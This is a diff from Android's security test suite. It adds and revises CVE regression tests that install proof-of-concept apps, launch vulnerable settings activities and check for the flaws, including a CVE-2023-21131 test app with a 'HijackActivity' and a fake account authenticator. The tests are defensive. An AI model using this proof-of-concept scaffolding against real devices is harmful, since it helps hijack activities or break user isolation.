+            // Run DeviceTest
+            final String testPkg = "android.security.cts.CVE_2023_40117";
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_40117");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40126.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40126.java
new file mode 100644
index 0000000..76c5624
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40126.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40126 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 278556954)
+    @Test
+    public void testPocCVE_2023_40126() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2023_40126";
+
+            // Install test app in device
+            installPackage("CVE-2023-40126.apk");
+
+            // Run DeviceTest
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2023_40126");
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // return to Home screen after test run
+                AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", getDevice());
+            } catch (Exception ignored) {
+                // ignore all exceptions
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0017.java
new file mode 100644
index 0000000..d98d3a3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0017.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2024_0017 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 285142084)
+    @Test
+    public void testPocCVE_2024_0017() {
+        try {
+            installPackage("CVE-2024-0017.apk");
+
+            // Run DeviceTest
+            final String testPkg = "android.security.cts.CVE_2024_0017";
+            runDeviceTests(
+                    new DeviceTestRunOptions(testPkg)
+                            .setDevice(getDevice())
+                            .setTestClassName(testPkg + ".DeviceTest")
+                            .setTestMethodName("testPocCVE_2024_0017")
+                            .setDisableHiddenApiCheck(true));
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0020.java
new file mode 100644
index 0000000..ae23f88
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0020.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.UserUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2024_0020 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 299614635)
+    @Test
+    public void testPocCVE_2024_0020() {
+        try {
+            // Create a secondary user
+            try (AutoCloseable asSecondaryUser =
+                    new UserUtils.SecondaryUser(getDevice())
+                            .name("cve_2024_0020_user")
+                            .withUser()) {
+                installPackage("CVE-2024-0020.apk", "-g");
+
+                // Run DeviceTest
+                final String testPkg = "android.security.cts.CVE_2024_0020";
+                runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2024_0020");
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0032.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0032.java
new file mode 100644
index 0000000..9884495
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0032.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2024_0032 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 283962634)
+    @Test
+    public void testPocCVE_2024_0032() {
+        try {
+            installPackage("CVE-2024-0032.apk");
+
+            // Run DeviceTest
+            final String testPkg = "android.security.cts.CVE_2024_0032";
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2024_0032");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0053.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0053.java
new file mode 100644
index 0000000..29432cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0053.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.CommandUtil.runAndCheck;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.UserUtils.SecondaryUser;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2024_0053 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 281525042)
+    @Test
+    public void testPocCVE_2024_0053() {
+        ITestDevice device = null;
+        try {
+            device = getDevice();
+
+            // Get userId of primary user
+            int primaryUserId = device.getCurrentUser();
+            try (AutoCloseable asSecondaryUser =
+                    new SecondaryUser(device).name("cve_2024_0053_user").doSwitch().withUser()) {
+
+                // Capture Screenshot
+                runAndCheck(device, "input keyevent KEYCODE_SYSRQ");
+
+                // Switch back to primary user
+                assume().withMessage("Failed to switch user back to primary user")
+                        .that(device.switchUser(primaryUserId))
+                        .isTrue();
+
+                // Install application in primary user
+                installPackage("CVE-2024-0053.apk");
+
+                // Run DeviceTest
+                final String testPkg = "android.security.cts.CVE_2024_0053";
+                runDeviceTests(
+                        new DeviceTestRunOptions(testPkg)
+                                .setDevice(getDevice())
+                                .setTestClassName(testPkg + ".DeviceTest")
+                                .setTestMethodName("testPocCVE_2024_0053")
+                                .setDisableHiddenApiCheck(true));
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // To exit the test gracefully
+                runAndCheck(device, "input keyevent KEYCODE_HOME");
+            } catch (Exception e) {
+                // Ignore all exceptions
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/Android.bp
index 240d8b4..472f6fc 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/Android.bp
@@ -33,6 +33,9 @@
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "sts-device-util",
+        "truth",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/AndroidManifest.xml
index 1a697ae..cb7ca5c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/AndroidManifest.xml
@@ -17,9 +17,6 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.security.cts.CVE_2023_21091">
-    <application>
-        <activity android:name=".PocActivity" />
-    </application>
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.security.cts.CVE_2023_21091" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023-21091/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023-21091/DeviceTest.java
deleted file mode 100644
index 18a8fdd..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023-21091/DeviceTest.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2023 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2023_21091;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeNoException;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-
-    @Test
-    public void testPocCVE_2023_21091() {
-        try {
-            Context context = getApplicationContext();
-
-            // Starting PoC to launch the locale language settings.
-            Intent intent = new Intent(context, PocActivity.class);
-            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            context.startActivity(intent);
-
-            // Broadcast to receive the status for the presence of vulnerability from PocActivity.
-            CompletableFuture<Boolean> broadcastReceived = new CompletableFuture<Boolean>();
-            BroadcastReceiver broadcastReceiver =
-                    new BroadcastReceiver() {
-                        @Override
-                        public void onReceive(Context context, Intent intent) {
-                            broadcastReceived.complete(
-                                    intent.getBooleanExtra(
-                                            context.getString(R.string.isFixPresent), true));
-                        }
-                    };
-            IntentFilter filter = new IntentFilter(context.getString(R.string.broadcastAction));
-            context.registerReceiver(broadcastReceiver, filter);
-
-            // Waiting for the broadcast to receive to validate the test.
-            final int waitForAdminBroadcast = 10000;
-            assertTrue(context.getString(R.string.failMessage),
-                    broadcastReceived.get(waitForAdminBroadcast, TimeUnit.SECONDS));
-        } catch (Exception e) {
-            assumeNoException(e);
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023-21091/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023-21091/PocActivity.java
deleted file mode 100644
index a186dac..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023-21091/PocActivity.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2023 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2023_21091;
-
-import android.app.Activity;
-import android.app.ActivityManager;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.net.Uri;
-import android.provider.Settings;
-
-import java.util.List;
-
-// The PoC depends on getAppTasks() to detect the vulnerability which requires to be called from
-// within an activity, hence PocActivity has been used.
-public class PocActivity extends Activity {
-
-    @Override
-    protected void onResume() {
-        try {
-            super.onResume();
-
-            // Launching locale settings
-            Intent intent = new Intent(Settings.ACTION_APP_LOCALE_SETTINGS)
-                    .setData(Uri.fromParts(getString(R.string.uriScheme),
-                            getSettingsPkgName(), null));
-            startActivity(intent);
-
-            // Waiting for locale settings to get launch.
-            final int sleepTime = 1000;
-            int waitForTimeOut = 5;
-            boolean settingsWindowAppeared = false;
-            while ((waitForTimeOut--) != 0 && !settingsWindowAppeared) {
-                List<ActivityManager.AppTask> appTask =
-                        getSystemService(ActivityManager.class).getAppTasks();
-                for (ActivityManager.AppTask af : appTask) {
-                    if (af.getTaskInfo()
-                            .topActivity
-                            .getClassName()
-                            .toString()
-                            .contains(intent.resolveActivity(getPackageManager())
-                                    .getClassName())) {
-                        settingsWindowAppeared = true;
-                        break;
-                    }
-                }
-                Thread.sleep(sleepTime);
-            }
-
-            Intent broadcastIntent = new Intent(getString(R.string.broadcastAction));
-            broadcastIntent.putExtra(getString(R.string.isFixPresent), !settingsWindowAppeared);
-            sendBroadcast(broadcastIntent);
-        } catch (Exception e) {
-            // Any exception here, would cause assumption failure in DeviceTest. Hence, it is not
-            // required to send broadcast to the DeviceTest.
-        }
-    }
-
-    // Retrieve Settings package name dynamically
-    private String getSettingsPkgName() {
-        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
-        ComponentName settingsComponent =
-                settingsIntent.resolveActivity(getPackageManager());
-        return settingsComponent != null ? settingsComponent.getPackageName()
-                : getString(R.string.defaultSettingsPkg);
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023_21091/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023_21091/DeviceTest.java
new file mode 100644
index 0000000..fb6a121
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/src/android/security/cts/CVE_2023_21091/DeviceTest.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21091;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.sts.common.SystemUtil.DEFAULT_POLL_TIME_MS;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.UserManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private String mAppLocalePickerActivityName;
+
+    @Test
+    public void testPocCVE_2023_21091() {
+        try {
+            Instrumentation instrumentation = getInstrumentation();
+            Context context = instrumentation.getContext();
+
+            // Check if the device supports multiple users or not
+            assume().withMessage("This device does not support multiple users")
+                    .that(context.getSystemService(UserManager.class).supportsMultipleUsers())
+                    .isTrue();
+
+            // Retrieve Settings package name dynamically
+            Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+            ComponentName settingsComponent =
+                    settingsIntent.resolveActivity(context.getPackageManager());
+            String settingsPackageName =
+                    settingsComponent != null
+                            ? settingsComponent.getPackageName()
+                            : "com.android.settings";
+
+            // Retrieve AppLocalePickerActivity name dynamically
+            Intent appLocalePickerIntent =
+                    new Intent(Settings.ACTION_APP_LOCALE_SETTINGS)
+                            .setData(Uri.fromParts("package", settingsPackageName, null));
+            appLocalePickerIntent.setFlags(
+                    Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            ComponentName appLocalePickerComponent =
+                    appLocalePickerIntent.resolveActivity(context.getPackageManager());
+            mAppLocalePickerActivityName =
+                    settingsPackageName + "/.localepicker.AppLocalePickerActivity";
+            if (appLocalePickerComponent != null) {
+                mAppLocalePickerActivityName = appLocalePickerComponent.flattenToShortString();
+            }
+
+            // Launching AppLocalePickerActivity
+            context.startActivity(appLocalePickerIntent);
+
+            // Check if vulnerable activity's UI is visible
+            final long maxPollingTime = 3000;
+            Pattern activityPatternByPkg =
+                    Pattern.compile("mVisible=true", Pattern.CASE_INSENSITIVE);
+            boolean mVisibleTrue =
+                    poll(
+                            () -> {
+                                try {
+                                    String activityDumpByPkg =
+                                            SystemUtil.runShellCommand(
+                                                    instrumentation,
+                                                    "dumpsys activity -p "
+                                                            + settingsPackageName
+                                                            + " activities");
+                                    if (activityPatternByPkg.matcher(activityDumpByPkg).find()) {
+                                        return true;
+                                    }
+                                } catch (Exception e) {
+                                    // ignore
+                                }
+                                return false;
+                            },
+                            DEFAULT_POLL_TIME_MS,
+                            maxPollingTime);
+
+            // Check if the currently resumed activity is the vulnerable activity
+            Pattern activityPatternByActivity =
+                    Pattern.compile("mResumed=true", Pattern.CASE_INSENSITIVE);
+            boolean mResumedTrue =
+                    poll(
+                            () -> {
+                                try {
+                                    String activityDumpByActivity =
+                                            SystemUtil.runShellCommand(
+                                                    instrumentation,
+                                                    "dumpsys activity "
+                                                            + mAppLocalePickerActivityName);
+                                    if (activityPatternByActivity
+                                            .matcher(activityDumpByActivity)
+                                            .find()) {
+                                        return true;
+                                    }
+                                } catch (Exception e) {
+                                    // ignore
+                                }
+                                return false;
+                            },
+                            DEFAULT_POLL_TIME_MS,
+                            maxPollingTime);
+
+            // Test fails if activity currently running and visible is the vulnerable activity
+            assertWithMessage("Vulnerable to b/257954050 !!")
+                    .that(mVisibleTrue && mResumedTrue)
+                    .isFalse();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/Android.bp
new file mode 100644
index 0000000..349e9c3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/Android.bp
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2023-21131-target",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "target-app/src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    manifest: "target-app/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CVE-2023-21131-test",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "test-app/src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "compatibility-device-util-axt",
+        "sts-device-util"
+    ],
+    manifest: "test-app/AndroidManifest.xml",
+    resource_dirs: [
+        "res",
+        "test-app/res",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/res/values/strings.xml
new file mode 100644
index 0000000..d27410a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="accountName">cve_2023_21131_account</string>
+    <string name="accountType">testevilaccount</string>
+    <string name="actionTarget">actionTarget</string>
+    <string name="activityTarget">android.security.cts.CVE_2023_21131_target.TargetActivity</string>
+    <string name="app_name">CVE_2023_21131</string>
+    <string name="bcastActionTarget">CVE_2023_21131_TargetActivity</string>
+    <string name="fieldName">mNonLocalizedLabel</string>
+    <string name="isVulnerable">isVulnerable</string>
+    <string name="launchTaskId">android.activity.launchTaskId</string>
+    <string name="msgFailure">Device is vulnerable to b/265015796 !!</string>
+    <string name="noExceptionMsg">no exception</string>
+    <string name="objectNotFound">%1$s account not found</string>
+    <string name="password">password</string>
+    <string name="pkgTarget">android.security.cts.CVE_2023_21131_target</string>
+    <string name="pocActivityStatus">status</string>
+    <string name="pocCrashedMsg">PocActivity crashed with exception: %s</string>
+    <string name="pocFailedMsg">pocActivity failed</string>
+    <string name="removeAccount">REMOVE ACCOUNT</string>
+    <string name="spannableString">A</string>
+    <string name="targetFailMsg">TargetActivity did not launch successfully</string>
+    <string name="taskId">taskId</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/AndroidManifest.xml
similarity index 65%
rename from hostsidetests/securitybulletin/test-apps/CVE-2023-21091/res/values/strings.xml
rename to hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/AndroidManifest.xml
index 50294d5..2eaca94 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2023-21091/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/AndroidManifest.xml
@@ -15,10 +15,13 @@
  limitations under the License.
 -->
 
-<resources>
-    <string name="broadcastAction">CVE_2023_20914_action</string>
-    <string name="defaultSettingsPkg">com.android.settings</string>
-    <string name="isFixPresent">isFixPresent</string>
-    <string name="failMessage">Vulnerable to b/257954050 !!</string>
-    <string name="uriScheme">package</string>
-</resources>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_21131_target">
+
+    <application>
+        <activity
+            android:name=".TargetActivity"
+            android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/src/android/security/cts/CVE_2023_21131_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/src/android/security/cts/CVE_2023_21131_target/TargetActivity.java
new file mode 100644
index 0000000..d2ab954
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/target-app/src/android/security/cts/CVE_2023_21131_target/TargetActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_target;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        sendBroadcast(
+                new Intent(getString(R.string.bcastActionTarget))
+                        .putExtra(getString(R.string.actionTarget), true)
+                        .putExtra(getString(R.string.taskId), getTaskId()));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..5738893
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_21131_test">
+
+    <application>
+        <activity android:name=".HijackActivity" />
+
+        <service
+            android:name=".PocAuthService"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <activity android:name=".PocActivity" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_21131_test" />
+</manifest>
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/res/xml/authenticator.xml
new file mode 100644
index 0000000..a4906cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
